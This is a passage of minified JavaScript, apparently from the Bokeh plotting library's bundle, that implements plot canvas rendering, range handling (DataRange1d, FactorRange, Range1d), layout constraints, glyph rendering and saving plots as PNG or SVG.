e=null!=this.state.history[t]?this.state.history[t].info:this._initial_state_info;null!=e.range&&this.update_range(e.range),null!=e.selection&&this.update_selection(e.selection)},t.prototype.get_selection=function(){for(var t={},e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source.selected;t[n.id]=r}}return t},t.prototype.update_selection=function(t){for(var e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source;null!=t?null!=t[n.id]&&r.selected.update(t[n.id],!0,!1):r.selection_manager.clear()}}},t.prototype.reset_selection=function(){this.update_selection(null)},t.prototype._update_ranges_together=function(t){for(var e=1,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1];e=Math.min(e,this._get_weight_to_constrain_interval(o,s))}if(e<1)for(var a=0,l=t;a<l.length;a++){var h=l[a],o=h[0],s=h[1];s.start=e*s.start+(1-e)*o.start,s.end=e*s.end+(1-e)*o.end}},t.prototype._update_ranges_individually=function(t,e,i,n){for(var r=!1,o=0,s=t;o<s.length;o++){var a=s[o],l=a[0],h=a[1];if(!i){var u=this._get_weight_to_constrain_interval(l,h);u<1&&(h.start=u*h.start+(1-u)*l.start,h.end=u*h.end+(1-u)*l.end)}if(null!=l.bounds&&\\\"auto\\\"!=l.bounds){var c=l.bounds,_=c[0],p=c[1],d=Math.abs(h.end-h.start);l.is_reversed?(null!=_&&_>=h.end&&(r=!0,h.end=_,(e||i)&&(h.start=_+d)),null!=p&&p<=h.start&&(r=!0,h.start=p,(e||i)&&(h.end=p-d))):(null!=_&&_>=h.start&&(r=!0,h.start=_,(e||i)&&(h.end=_+d)),null!=p&&p<=h.end&&(r=!0,h.end=p,(e||i)&&(h.start=p-d)))}}if(!(i&&r&&n))for(var f=0,v=t;f<v.length;f++){var m=v[f],l=m[0],h=m[1];l.have_updated_interactively=!0,l.start==h.start&&l.end==h.end||l.setv(h)}},t.prototype._get_weight_to_constrain_interval=function(t,e){var i=t.min_interval,n=t.max_interval;if(null!=t.bounds&&\\\"auto\\\"!=t.bounds){var r=t.bounds,o=r[0],s=r[1];if(null!=o&&null!=s){var a=Math.abs(s-o);n=null!=n?Math.min(n,a):a}}var l=1;if(null!=i||null!=n){var h=Math.abs(t.end-t.start),u=Math.abs(e.end-e.start);0<i&&u<i&&(l=(h-i)/(h-u)),0<n&&n<u&&(l=(n-h)/(u-h)),l=Math.max(0,Math.min(1,l))}return l},t.prototype.update_range=function(t,e,i,n){void 0===e&&(e=!1),void 0===i&&(i=!1),void 0===n&&(n=!0),this.pause();var r=this.frame,o=r.x_ranges,s=r.y_ranges;if(null==t){for(var a in o){var l=o[a];l.reset()}for(var h in s){var l=s[h];l.reset()}this.update_dataranges()}else{var u=[];for(var c in o){var l=o[c];u.push([l,t.xrs[c]])}for(var _ in s){var l=s[_];u.push([l,t.yrs[_]])}i&&this._update_ranges_together(u),this._update_ranges_individually(u,e,i,n)}this.unpause()},t.prototype.reset_range=function(){this.update_range(null)},t.prototype.build_levels=function(){var t=this.model.plot.all_renderers,e=E.keys(this.renderer_views),i=c.build_views(this.renderer_views,t,this.view_options()),n=b.difference(e,t.map(function(t){return t.id}));for(var r in this.levels)for(var o=0,s=n;o<s.length;o++){var a=s[o];delete this.levels[r][a]}for(var l=0,h=i;l<h.length;l++){var u=h[l];this.levels[u.model.level][u.model.id]=u}},t.prototype.get_renderer_views=function(){var e=this;return this.model.plot.renderers.map(function(t){return e.levels[t.level][t.id]})},t.prototype.build_tools=function(){var e=this,t=this.model.plot.toolbar.tools,i=c.build_views(this.tool_views,t,this.view_options());i.map(function(t){return e.ui_event_bus.register_tool(t)})},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.force_paint,function(){return t.repaint()});var e=this.model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.request_render()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.request_render()})}this.connect(this.model.plot.properties.renderers.change,function(){return t.build_levels()}),this.connect(this.model.plot.toolbar.properties.tools.change,function(){t.build_levels(),t.build_tools()}),this.connect(this.model.plot.change,function(){return t.request_render()}),this.connect(this.model.plot.reset,function(){return t.reset()})},t.prototype.set_initial_range=function(){var t=!0,e=this.frame,i=e.x_ranges,n=e.y_ranges,r={},o={};for(var s in i){var a=i[s],l=a.start,h=a.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}r[s]={start:l,end:h}}if(t)for(var u in n){var c=n[u],l=c.start,h=c.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}o[u]={start:l,end:h}}t?(this._initial_state_info.range={xrs:r,yrs:o},A.logger.debug(\\\"initial ranges set\\\")):A.logger.warn(\\\"could not set initial ranges\\\")},t.prototype.update_constraints=function(){for(var t in this.solver.suggest_value(this.frame._width,this.canvas._width.value),this.solver.suggest_value(this.frame._height,this.canvas._height.value),this.renderer_views){var e=this.renderer_views[t];x.isSizeableView(e)&&null!=e.model.panel&&x.update_panel_constraints(e)}this.solver.update_variables()},t.prototype._layout=function(t){void 0===t&&(t=!1),this.render(),t&&(this.model.plot.setv({inner_width:Math.round(this.frame._width.value),inner_height:Math.round(this.frame._height.value),layout_width:Math.round(this.canvas._width.value),layout_height:Math.round(this.canvas._height.value)},{no_change:!0}),this.paint())},t.prototype.has_finished=function(){if(!a.prototype.has_finished.call(this))return!1;for(var t in this.levels){var e=this.levels[t];for(var i in e){var n=e[i];if(!n.has_finished())return!1}}return!0},t.prototype.render=function(){var t=this.model._width.value,e=this.model._height.value;this.canvas_view.set_dims([t,e]),this.update_constraints(),!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&this.update_dataranges(),this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype._needs_layout=function(){for(var t in this.renderer_views){var e=this.renderer_views[t];if(x.isSizeableView(e)&&null!=e.model.panel&&x._view_sizes.get(e)!=e.get_size())return!0}return!1},t.prototype.repaint=function(){this._needs_layout()?this.parent.partial_layout():this.paint()},t.prototype.paint=function(){var t=this;if(!this.is_paused){A.logger.trace(\\\"PlotCanvas.render() for \\\"+this.model.id),this.canvas_view.prepare_canvas();var e=this.model.document;if(null!=e){var i=e.interactive_duration(),n=this.model.plot;0<=i&&i<n.lod_interval?setTimeout(function(){e.interactive_duration()>n.lod_timeout&&e.interactive_stop(n),t.request_render()},n.lod_timeout):e.interactive_stop(n)}for(var r in this.renderer_views){var o=this.renderer_views[r];if(null==this.range_update_timestamp||o instanceof T.GlyphRendererView&&o.set_data_timestamp>this.range_update_timestamp){this.update_dataranges();break}}this.model.frame.update_scales();var s=this.canvas_view.ctx,a=this.canvas.pixel_ratio;s.save(),s.scale(a,a),s.translate(.5,.5);var l=[this.frame._left.value,this.frame._top.value,this.frame._width.value,this.frame._height.value];if(this._map_hook(s,l),this._paint_empty(s,l),this.prepare_webgl(a,l),s.save(),this.visuals.outline_line.doit){this.visuals.outline_line.set_value(s);var h=l[0],u=l[1],c=l[2],_=l[3];h+c==this.canvas._width.value&&(c-=1),u+_==this.canvas._height.value&&(_-=1),s.strokeRect(h,u,c,_)}s.restore(),this._paint_levels(s,[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\"],l,!0),this.blit_webgl(a),this._paint_levels(s,[\\\"annotation\\\"],l,!0),this._paint_levels(s,[\\\"overlay\\\"],l,!1),null==this._initial_state_info.range&&this.set_initial_range(),s.restore(),this._has_finished||(this._has_finished=!0,this.notify_finished())}},t.prototype._paint_levels=function(t,e,i,n){t.save(),n&&(t.beginPath(),t.rect.apply(t,i),t.clip());for(var r={},o=0;o<this.model.plot.renderers.length;o++){var s=this.model.plot.renderers[o];r[s.id]=o}for(var a=function(t){return r[t.model.id]},l=0,h=e;l<h.length;l++)for(var u=h[l],c=b.sortBy(E.values(this.levels[u]),a),_=0,p=c;_<p.length;_++){var d=p[_];!n&&d.needs_clip&&(t.save(),t.beginPath(),t.rect.apply(t,i),t.clip()),d.render(),!n&&d.needs_clip&&t.restore()}t.restore()},t.prototype._map_hook=function(t,e){},t.prototype._paint_empty=function(t,e){var i=[0,0,this.canvas_view.model._width.value,this.canvas_view.model._height.value],n=i[0],r=i[1],o=i[2],s=i[3],a=e[0],l=e[1],h=e[2],u=e[3];t.clearRect(n,r,o,s),this.visuals.border_fill.doit&&(this.visuals.border_fill.set_value(t),t.fillRect(n,r,o,s),t.clearRect(a,l,h,u)),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(a,l,h,u))},t.prototype.save=function(t){switch(this.model.plot.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":var e=this.canvas_view.get_canvas_element();if(null!=e.msToBlob){var i=e.msToBlob();window.navigator.msSaveBlob(i,t)}else{var n=document.createElement(\\\"a\\\");n.href=e.toDataURL(\\\"image/png\\\"),n.download=t+\\\".png\\\",n.target=\\\"_blank\\\",n.dispatchEvent(new MouseEvent(\\\"click\\\"))}break;case\\\"svg\\\":var r=this.canvas_view._ctx,o=r.getSerializedSvg(!0),s=new Blob([o],{type:\\\"text/plain\\\"}),a=document.createElement(\\\"a\\\");a.download=t+\\\".svg\\\",a.innerHTML=\\\"Download svg\\\",a.href=window.URL.createObjectURL(s),a.onclick=function(t){return document.body.removeChild(t.target)},a.style.display=\\\"none\\\",document.body.appendChild(a),a.click()}},t}(a.DOMView);i.PlotCanvasView=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"AbovePanel\\\"},e}(p.LayoutCanvas);(i.AbovePanel=S).initClass();var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BelowPanel\\\"},e}(p.LayoutCanvas);(i.BelowPanel=M).initClass();var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"LeftPanel\\\"},e}(p.LayoutCanvas);(i.LeftPanel=O).initClass();var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"RightPanel\\\"},e}(p.LayoutCanvas);(i.RightPanel=z).initClass();var P=function(e){function t(t){return e.call(this,t)||this}return l.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PlotCanvas\\\",this.prototype.default_view=k,this.internal({plot:[m.Instance],toolbar:[m.Instance],canvas:[m.Instance],frame:[m.Instance]}),this.override({sizing_mode:\\\"stretch_both\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.canvas=new n.Canvas({map:null!=this.use_map&&this.use_map,use_hidpi:this.plot.hidpi,output_backend:this.plot.output_backend}),this.frame=new r.CartesianFrame({x_range:this.plot.x_range,extra_x_ranges:this.plot.extra_x_ranges,x_scale:this.plot.x_scale,y_range:this.plot.y_range,extra_y_ranges:this.plot.extra_y_ranges,y_scale:this.plot.y_scale}),this.above_panel=new S,this.below_panel=new M,this.left_panel=new O,this.right_panel=new z,A.logger.debug(\\\"PlotCanvas initialized\\\")},t.prototype._doc_attached=function(){this.canvas.attach_document(this.document),this.frame.attach_document(this.document),this.above_panel.attach_document(this.document),this.below_panel.attach_document(this.document),this.left_panel.attach_document(this.document),this.right_panel.attach_document(this.document),e.prototype._doc_attached.call(this),A.logger.debug(\\\"PlotCanvas attached to document\\\")},t.prototype.get_layoutable_children=function(){var r=[this.above_panel,this.below_panel,this.left_panel,this.right_panel,this.canvas,this.frame],t=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e];x.isSizeable(n)&&null!=n.panel&&r.push(n.panel)}};return t(this.plot.above),t(this.plot.below),t(this.plot.left),t(this.plot.right),r},t.prototype.get_constraints=function(){return e.prototype.get_constraints.call(this).concat(this._get_constant_constraints(),this._get_side_constraints())},t.prototype._get_constant_constraints=function(){return[f.EQ(this.canvas._left,0),f.EQ(this.canvas._top,0),f.GE(this.above_panel._top,[-1,this.canvas._top]),f.EQ(this.above_panel._bottom,[-1,this.frame._top]),f.EQ(this.above_panel._left,[-1,this.left_panel._right]),f.EQ(this.above_panel._right,[-1,this.right_panel._left]),f.EQ(this.below_panel._top,[-1,this.frame._bottom]),f.LE(this.below_panel._bottom,[-1,this.canvas._bottom]),f.EQ(this.below_panel._left,[-1,this.left_panel._right]),f.EQ(this.below_panel._right,[-1,this.right_panel._left]),f.EQ(this.left_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.left_panel._bottom,[-1,this.below_panel._top]),f.GE(this.left_panel._left,[-1,this.canvas._left]),f.EQ(this.left_panel._right,[-1,this.frame._left]),f.EQ(this.right_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.right_panel._bottom,[-1,this.below_panel._top]),f.EQ(this.right_panel._left,[-1,this.frame._right]),f.LE(this.right_panel._right,[-1,this.canvas._right]),f.EQ(this._top,[-1,this.above_panel._bottom]),f.EQ(this._left,[-1,this.left_panel._right]),f.EQ(this._height,[-1,this._bottom],[-1,this.canvas._bottom],this.below_panel._top),f.EQ(this._width,[-1,this._right],[-1,this.canvas._right],this.right_panel._left),f.GE(this._top,-this.plot.min_border_top),f.GE(this._left,-this.plot.min_border_left),f.GE(this._height,[-1,this._bottom],-this.plot.min_border_bottom),f.GE(this._width,[-1,this._right],-this.plot.min_border_right)]},t.prototype._get_side_constraints=function(){var t=function(t){return t.map(function(t){return t.panel})},e=d.vstack(this.above_panel,t(this.plot.above)),i=d.vstack(this.below_panel,b.reversed(t(this.plot.below))),n=d.hstack(this.left_panel,t(this.plot.left)),r=d.hstack(this.right_panel,b.reversed(t(this.plot.right)));return b.concat([e,i,n,r])},t}(o.LayoutDOM);(i.PlotCanvas=P).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DataRange\\\",this.define({names:[o.Array,[]],renderers:[o.Array,[]]})},t}(r.Range);(i.DataRange=s).initClass()},function(t,e,i){var n=t(391),r=t(179),h=t(185),_=t(14),o=t(15),u=t(24),c=t(21),s=function(i){function t(t){var e=i.call(this,t)||this;return e._plot_bounds={},e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataRange1d\\\",this.define({start:[o.Number],end:[o.Number],range_padding:[o.Number,.1],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],flipped:[o.Bool,!1],follow:[o.StartEnd],follow_interval:[o.Number],default_span:[o.Number,2]}),this.internal({scale_hint:[o.String,\\\"auto\\\"]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._initial_start=this.start,this._initial_end=this.end,this._initial_range_padding=this.range_padding,this._initial_range_padding_units=this.range_padding_units,this._initial_follow=this.follow,this._initial_follow_interval=this.follow_interval,this._initial_default_span=this.default_span},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.computed_renderers=function(){var e=this.names,t=this.renderers;if(0==t.length)for(var i=0,n=this.plots;i<n.length;i++){var r=n[i],o=r.renderers.filter(function(t){return t instanceof h.GlyphRenderer});t=t.concat(o)}0<e.length&&(t=t.filter(function(t){return c.includes(e,t.name)})),_.logger.debug(\\\"computed \\\"+t.length+\\\" renderers for DataRange1d \\\"+this.id);for(var s=0,a=t;s<a.length;s++){var l=a[s];_.logger.trace(\\\" - \\\"+l.type+\\\" \\\"+l.id)}return t},t.prototype._compute_plot_bounds=function(t,e){for(var i=u.empty(),n=0,r=t;n<r.length;n++){var o=r[n];null!=e[o.id]&&(i=u.union(i,e[o.id]))}return i},t.prototype.adjust_bounds_for_aspect=function(t,e){var i=u.empty(),n=t.maxX-t.minX;n<=0&&(n=1);var r=t.maxY-t.minY;r<=0&&(r=1);var o=.5*(t.maxX+t.minX),s=.5*(t.maxY+t.minY);return n<e*r?n=e*r:r=n/e,i.maxX=o+.5*n,i.minX=o-.5*n,i.maxY=s+.5*r,i.minY=s-.5*r,i},t.prototype._compute_min_max=function(t,e){var i,n,r,o,s=u.empty();for(var a in t){var l=t[a];s=u.union(s,l)}return 0==e?(i=[s.minX,s.maxX],r=i[0],o=i[1]):(n=[s.minY,s.maxY],r=n[0],o=n[1]),[r,o]},t.prototype._compute_range=function(t,e){var i,n,r,o=this.range_padding;if(\\\"log\\\"==this.scale_hint){(isNaN(t)||!isFinite(t)||t<=0)&&(t=isNaN(e)||!isFinite(e)||e<=0?.1:e/100,_.logger.warn(\\\"could not determine minimum data value for log axis, DataRange1d using value \\\"+t)),(isNaN(e)||!isFinite(e)||e<=0)&&(e=isNaN(t)||!isFinite(t)||t<=0?10:100*t,_.logger.warn(\\\"could not determine maximum data value for log axis, DataRange1d using value \\\"+e));var s=void 0,a=void 0;if(e==t)a=this.default_span+.001,s=Math.log(t)/Math.log(10);else{var l=void 0,h=void 0;\\\"percent\\\"==this.range_padding_units?(l=Math.log(t)/Math.log(10),h=Math.log(e)/Math.log(10),a=(h-l)*(1+o)):(l=Math.log(t-o)/Math.log(10),h=Math.log(e+o)/Math.log(10),a=h-l),s=(l+h)/2}n=Math.pow(10,s-a/2),r=Math.pow(10,s+a/2)}else{var a=void 0;a=e==t?this.default_span:\\\"percent\\\"==this.range_padding_units?(e-t)*(1+o):e-t+2*o;var s=(e+t)/2;n=s-a/2,r=s+a/2}var u=1;this.flipped&&(n=(i=[r,n])[0],r=i[1],u=-1);var c=this.follow_interval;return null!=c&&Math.abs(n-r)>c&&(\\\"start\\\"==this.follow?r=n+u*c:\\\"end\\\"==this.follow&&(n=r-u*c)),[n,r]},t.prototype.update=function(t,e,i,n){if(!this.have_updated_interactively){var r=this.computed_renderers(),o=this._compute_plot_bounds(r,t);null!=n&&(o=this.adjust_bounds_for_aspect(o,n)),this._plot_bounds[i]=o;var s=this._compute_min_max(this._plot_bounds,e),a=s[0],l=s[1],h=this._compute_range(a,l),u=h[0],c=h[1];null!=this._initial_start&&(\\\"log\\\"==this.scale_hint?0<this._initial_start&&(u=this._initial_start):u=this._initial_start),null!=this._initial_end&&(\\\"log\\\"==this.scale_hint?0<this._initial_end&&(c=this._initial_end):c=this._initial_end);var _=[this.start,this.end],p=_[0],d=_[1];if(u!=p||c!=d){var f={};u!=p&&(f.start=u),c!=d&&(f.end=c),this.setv(f)}\\\"auto\\\"==this.bounds&&this.setv({bounds:[u,c]},{silent:!0}),this.change.emit()}},t.prototype.reset=function(){this.have_updated_interactively=!1,this.setv({range_padding:this._initial_range_padding,range_padding_units:this._initial_range_padding_units,follow:this._initial_follow,follow_interval:this._initial_follow_interval,default_span:this._initial_default_span},{silent:!0}),this.change.emit()},t}(r.DataRange);(i.DataRange1d=s).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=t(22),b=t(21),h=t(44);function m(t,e,i){void 0===i&&(i=0);for(var n={},r=0;r<t.length;r++){var o=t[r];if(o in n)throw new Error(\\\"duplicate factor or subfactor: \\\"+o);n[o]={value:.5+r*(1+e)+i}}return[n,(t.length-1)*e]}function x(t,s,a,e){void 0===e&&(e=0);for(var l={},h={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],u=o[0],c=o[1];u in h||(h[u]=[],i.push(u)),h[u].push(c)}for(var _=e,p=0,d=function(t){var e=h[t].length,i=m(h[t],a,_),n=i[0],r=i[1];p+=r;var o=b.sum(h[t].map(function(t){return n[t].value}));l[t]={value:o/e,mapping:n},_+=e+s+r},f=0,v=i;f<v.length;f++){var u=v[f];d(u)}return[l,i,(i.length-1)*s+p]}function u(t,u,c,_,e){void 0===e&&(e=0);for(var p={},d={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1],l=o[2];s in d||(d[s]=[],i.push(s)),d[s].push([a,l])}for(var f=[],v=e,m=0,h=function(t){for(var e=d[t].length,i=x(d[t],c,_,v),n=i[0],r=i[1],o=i[2],s=0,a=r;s<a.length;s++){var l=a[s];f.push([t,l])}m+=o;var h=b.sum(d[t].map(function(t){var e=t[0];return n[e].value}));p[t]={value:h/e,mapping:n},v+=e+u+o},g=0,y=i;g<y.length;g++){var s=y[g];h(s)}return[p,i,f,(i.length-1)*u+m]}i.map_one_level=m,i.map_two_levels=x,i.map_three_levels=u;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FactorRange\\\",this.define({factors:[o.Array,[]],factor_padding:[o.Number,0],subgroup_padding:[o.Number,.8],group_padding:[o.Number,1.4],range_padding:[o.Number,0],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],start:[o.Number],end:[o.Number]}),this.internal({levels:[o.Number],mids:[o.Array],tops:[o.Array],tops_groups:[o.Array]})},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return this.start},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return this.end},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init(!0)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.factors.change,function(){return t.reset()}),this.connect(this.properties.factor_padding.change,function(){return t.reset()}),this.connect(this.properties.group_padding.change,function(){return t.reset()}),this.connect(this.properties.subgroup_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding_units.change,function(){return t.reset()})},t.prototype.reset=function(){this._init(!1),this.change.emit()},t.prototype._lookup=function(t){if(1==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])?e[t[0]].value:NaN}if(2==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])?e[t[0]].mapping[t[1]].value:NaN}if(3==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])&&e[t[0]].mapping[t[1]].mapping.hasOwnProperty(t[2])?e[t[0]].mapping[t[1]].mapping[t[2]].value:NaN}throw new Error(\\\"unreachable code\\\")},t.prototype.synthetic=function(t){if(h.isNumber(t))return t;if(h.isString(t))return this._lookup([t]);var e=0,i=t[t.length-1];return h.isNumber(i)&&(e=i,t=t.slice(0,-1)),this._lookup(t)+e},t.prototype.v_synthetic=function(t){var e=this;return s.map(t,function(t){return e.synthetic(t)})},t.prototype._init=function(t){var e,i,n,r,o;if(b.all(this.factors,h.isString))r=1,e=m(this.factors,this.factor_padding),this._mapping=e[0],o=e[1];else if(b.all(this.factors,function(t){return h.isArray(t)&&2==t.length&&h.isString(t[0])&&h.isString(t[1])}))r=2,i=x(this.factors,this.group_padding,this.factor_padding),this._mapping=i[0],this.tops=i[1],o=i[2];else{if(!b.all(this.factors,function(t){return h.isArray(t)&&3==t.length&&h.isString(t[0])&&h.isString(t[1])&&h.isString(t[2])}))throw new Error(\\\"???\\\");r=3,n=u(this.factors,this.group_padding,this.subgroup_padding,this.factor_padding),this._mapping=n[0],this.tops=n[1],this.mids=n[2],o=n[3]}var s=0,a=this.factors.length+o;if(\\\"percent\\\"==this.range_padding_units){var l=(a-s)*this.range_padding/2;s-=l,a+=l}else s-=this.range_padding,a+=this.range_padding;this.setv({start:s,end:a,levels:r},{silent:t}),\\\"auto\\\"==this.bounds&&this.setv({bounds:[s,a]},{silent:!0})},t}(r.Range);(i.FactorRange=a).initClass()},function(t,e,i){var n=t(179);i.DataRange=n.DataRange;var r=t(180);i.DataRange1d=r.DataRange1d;var o=t(181);i.FactorRange=o.FactorRange;var s=t(183);i.Range=s.Range;var a=t(184);i.Range1d=a.Range1d},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=function(i){function t(t){var e=i.call(this,t)||this;return e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Range\\\",this.define({callback:[o.Any],bounds:[o.Any],min_interval:[o.Any],max_interval:[o.Any]}),this.internal({plots:[o.Array,[]]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._emit_callback()})},t.prototype.reset=function(){this.change.emit()},t.prototype._emit_callback=function(){null!=this.callback&&(s.isFunction(this.callback)?this.callback(this):this.callback.execute(this,{}))},Object.defineProperty(t.prototype,\\\"is_reversed\\\",{get:function(){return this.start>this.end},enumerable:!0,configurable:!0}),t}(r.Model);(i.Range=a).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Range1d\\\",this.define({start:[o.Number,0],end:[o.Number,1],reset_start:[o.Number],reset_end:[o.Number]})},t.prototype._set_auto_bounds=function(){if(\\\"auto\\\"==this.bounds){var t=Math.min(this.reset_start,this.reset_end),e=Math.max(this.reset_start,this.reset_end);this.setv({bounds:[t,e]},{silent:!0})}},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.reset_start&&(this.reset_start=this.start),null==this.reset_end&&(this.reset_end=this.end),this._set_auto_bounds()},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.reset=function(){this._set_auto_bounds(),this.start!=this.reset_start||this.end!=this.reset_end?this.setv({start:this.reset_start,end:this.reset_end}):this.change.emit()},t}(r.Range);(i.Range1d=s).initClass()},function(t,e,i){var n=t(391),r=t(189),P=t(130),o=t(199),j=t(14),s=t(15),a=t(22),N=t(21),_=t(32),l=t(181),p={fill:{},line:{}},d={fill:{fill_alpha:.3,fill_color:\\\"grey\\\"},line:{line_alpha:.3,line_color:\\\"grey\\\"}},f={fill:{fill_alpha:.2},line:{}},h=function(c){function t(){return null!==c&&c.apply(this,arguments)||this}return n.__extends(t,c),t.prototype.initialize=function(t){c.prototype.initialize.call(this,t);var i=this.model.glyph,n=N.includes(i.mixins,\\\"fill\\\"),r=N.includes(i.mixins,\\\"line\\\"),o=_.clone(i.attributes);function e(t){var e=_.clone(o);return n&&_.extend(e,t.fill),r&&_.extend(e,t.line),new i.constructor(e)}delete o.id,this.glyph=this.build_glyph_view(i);var s=this.model.selection_glyph;null==s?s=e({fill:{},line:{}}):\\\"auto\\\"===s&&(s=e(p)),this.selection_glyph=this.build_glyph_view(s);var a=this.model.nonselection_glyph;null==a?a=e({fill:{},line:{}}):\\\"auto\\\"===a&&(a=e(f)),this.nonselection_glyph=this.build_glyph_view(a);var l=this.model.hover_glyph;null!=l&&(this.hover_glyph=this.build_glyph_view(l));var h=this.model.muted_glyph;null!=h&&(this.muted_glyph=this.build_glyph_view(h));var u=e(d);this.decimated_glyph=this.build_glyph_view(u),this.xscale=this.plot_view.frame.xscales[this.model.x_range_name],this.yscale=this.plot_view.frame.yscales[this.model.y_range_name],this.set_data(!1)},t.prototype.build_glyph_view=function(t){return new t.default_view({model:t,renderer:this,plot_view:this.plot_view,parent:this})},t.prototype.connect_signals=function(){var e=this;c.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.request_render()}),this.connect(this.model.glyph.change,function(){return e.set_data()}),this.connect(this.model.data_source.change,function(){return e.set_data()}),this.connect(this.model.data_source.streaming,function(){return e.set_data()}),this.connect(this.model.data_source.patching,function(t){return e.set_data(!0,t)}),this.connect(this.model.data_source.selected.change,function(){return e.request_render()}),this.connect(this.model.data_source._select,function(){return e.request_render()}),null!=this.hover_glyph&&this.connect(this.model.data_source.inspect,function(){return e.request_render()}),this.connect(this.model.properties.view.change,function(){return e.set_data()}),this.connect(this.model.view.change,function(){return e.set_data()});var t=this.plot_model.frame,i=t.x_ranges,n=t.y_ranges;for(var r in i){var o=i[r];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}for(var s in n){var o=n[s];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}this.connect(this.model.glyph.transformchange,function(){return e.set_data()})},t.prototype.have_selection_glyphs=function(){return null!=this.selection_glyph&&null!=this.nonselection_glyph},t.prototype.set_data=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=null);var i=Date.now(),n=this.model.data_source;this.all_indices=this.model.view.indices,this.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.glyph.set_data(n,this.all_indices,e),this.glyph.set_visuals(n),this.decimated_glyph.set_visuals(n),this.have_selection_glyphs()&&(this.selection_glyph.set_visuals(n),this.nonselection_glyph.set_visuals(n)),null!=this.hover_glyph&&this.hover_glyph.set_visuals(n),null!=this.muted_glyph&&this.muted_glyph.set_visuals(n);var r=this.plot_model.plot.lod_factor;this.decimated=[];for(var o=0,s=Math.floor(this.all_indices.length/r);o<s;o++)this.decimated.push(o*r);var a=Date.now()-i;j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): set_data finished in \\\"+a+\\\"ms\\\"),this.set_data_timestamp=Date.now(),t&&this.request_render()},t.prototype.render=function(){var r=this;if(this.model.visible){var t=Date.now(),e=this.glyph.glglyph;this.glyph.map_data();var i=Date.now()-t,n=Date.now(),o=this.glyph.mask_data(this.all_indices);o.length===this.all_indices.length&&(o=N.range(0,this.all_indices.length));var s=Date.now()-n,a=this.plot_view.canvas_view.ctx;a.save();var 